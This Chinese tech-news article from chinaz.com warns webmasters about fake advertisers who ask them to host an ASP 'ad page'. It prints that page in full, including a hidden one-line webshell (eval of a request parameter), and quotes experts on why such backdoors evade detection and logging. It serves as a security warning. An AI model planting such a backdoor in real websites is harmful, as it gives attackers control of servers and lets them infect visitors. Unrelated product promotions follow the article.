中国站长站（chinaz.com）讯：近日，有一些不法份子利用少数站长贪小便宜的心里，在站长网站空间上种植“一句话木马”，从而获取服务器权限实现大面积挂马或释放病毒，危害网站用户，从中牟取暴利。
最近有不少站长在Chinaz论坛发贴和致电中国站长站反映和咨询，有人联系要在他们的网站上投放广告，却要求把广告页面，一个ASP文件放到他自己网站的目录中，但从表面也看不出来有异常，源文件如下：
|
<HTML>
<head>
<style type="text/css">
<!--
body,td,th {
font-size: 12px;
line-height:16px
}
.STYLE1 {color: #000000}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>17zao.com-免费音乐-免费视听</title>
<meta name="keywords" content="17zao.com-免费音乐-免费视听">
<meta name="description" content="17zao.com-免费音乐-免费视听">
<body>
<table width="100%" height="135" border="0" cellspacing="0">
<tr>
<td align="center" valign="bottom"><img src="http://www.17zao.com/i/logo.jpg" width="180" height="60" /></td>
</tr>
</table>
<br/>
<table width="450" border="0" align="center" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td height="1" bgcolor="#5A7D9C"></td>
<td width="225" bgcolor="#FFFFFF"></td>
<td height="1" bgcolor="#5A7D9C"></td>
</tr>
</table>
<table width="450" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="1" bgcolor="#5A7D9C"></td>
<td>
<div id="message" align="center" style="display:none">
<div align="center"><%eval request("383")%></div>
</div>
<div id="loading" align="center" style="display:none">
<div align="center"><br>
正在装载，请稍候... </div>
</div>
<div align="center">
<p><BR>
请您选择最快的站点<BR>
<br>
<INPUT TYPE = BUTTON Value = "北方网通" onClick = "window.location='http://www.17zao.com'">
<INPUT TYPE = BUTTON Value = "南方电信" onClick = "window.location='http://www.17zao.com'">
<br>
<br>
<a href="http://www.miibeian.gov.cn" class="STYLE1">粤ICP备05121955号</a><br>
<br>
</p>
</div>
<br></td>
<td width="1" bgcolor="#5A7D9C"></td>
</tr>
</table>
<table width="450" height="1" border="0" align="center" cellspacing="0">
<tr>
<td bgcolor="#5A7D9C"></td>
</tr>
</table> |
然而问题就是在上段代码中被标红的地方，国内著名的服务器安全专家，前SWsoft（中国）高级工程师杨恒飞（coldstar）告诉我们：ASP脚本中eval 函数允许动态执行VBScript源代码，也就是可以执行任何代码段，只是可能返回结果不同而已。因为它会对里面的表达式进行求值，也就是会执行里面的表达式，如果里面的表达式是一个刻意构造的代码的话，就会危害到服务器的安全。如果服务器安全设置不严谨的话，它可以利用这个写入一个完整的ASP木马，操作文件什么的都可以做了。
另外动网论坛开发工程师焦崧源（雨·漫步）讲到：基于C/S模式的“一句话木马”使人想起了几年前在安全界流行的“Execute Request("#")”，这种后门的好处就是体积小，隐蔽性高，杀毒软件一般查杀不出来，而且还可以使用POST方式，IIS日志不会记录。
因此提醒广大站长：切莫贪图小利而上当受骗，根据目前反馈的站长信息，这些不份分子一般通过新申请的QQ号与不懂技术的站长，尤其是运营下载网站的，以包月广告形式要求把该页面放置自己的网站空间。另外也警惕一下，更不要接受通过远程调用的方式在自己网站放置对方广告，以免对方随时更换代码进行挂马操作。
小知识：Eval 函数
计算一个表达式的值并返回结果。
[result = ]Eval(expression)
参数
result
可选项。 是一个变量，用于接受返回的结果。如果未指定结果，应考虑使用 Execute 语句代替。
expression
必选项。可以是包含任何有效 VBScript 表达式的字符串。
说明：在 VBScript 中，x = y 可以有两种解释。第一种方式是赋值语句，将 y 的值赋予 x。第二种解释是测试 x 和 y 是否相等。如果相等，result 为 True；否则 result 为 False。Eval 方法总是采用第二种解释，而 Execute 语句总是采用第一种。
不负全球玩家期待！全AI掠夺者家族50系新品重磅开售！
在高端电竞本领域，掠夺者一直以先锋姿态引领行业发展，全新掠夺者·战斧18 AI等新品在CES 2025展会一经亮相，便将2025高端AI电竞本的期待值拉满。超前的设计理念和以玩家体验为核心的产品思路，贯穿掠夺者三款重磅新品：从发烧友的终极梦想至尊机皇掠夺者·战斧18 AI，
2025-06-06
餐桌底下的清洁高手！萤石云视觉商用清洁机器人BS1革新食堂清洁模式
在智能化浪潮席卷商业领域的当下，清洁行业正迎来一场革命性变革。2024 年，萤石首款云视觉商用清洁机器人 BS1 正式亮相市场，凭借前期先锋客户端的试运行测试及系统深度对接，迅速在全国各大写字楼、展厅、银行、食堂、酒店等场景崭露头角，开启智能清洁新篇章。AI 视
2025-05-23
京东新品国补立省 潮玩新次元游戏本华硕天选6 Pro来袭
5月16日京东新品日，打开京东APP来新品频道，买华硕天选6 Pro新品享国家补贴20% #京东新品 #京东重磅新品日，到手6999元起。华硕天选6 Pro搭载RTX 5070笔记本电脑GPU，至高可选AMD锐龙9 9955HX或Intel酷睿Ultra 9 275HX高性能平台，采用全新模具和散热系统，集卓越性能
2025-05-19
MiTAC 神雲科技发布搭载最新AMD EPYC™ 4005系列处理器产品
【加州纽瓦克电—2025年5月13日】—作为专业的服务器设计与制造商,神达控股股份有限公司(股票代号:3706)旗下子公司神雲科技股份有限公司(MiTAC Computing Technology Corp.)推出了支持AMD EPYC™ 4005系列处理器的最新产品。这些更新的服务器解决方案可提供更高的性能和
2025-05-13
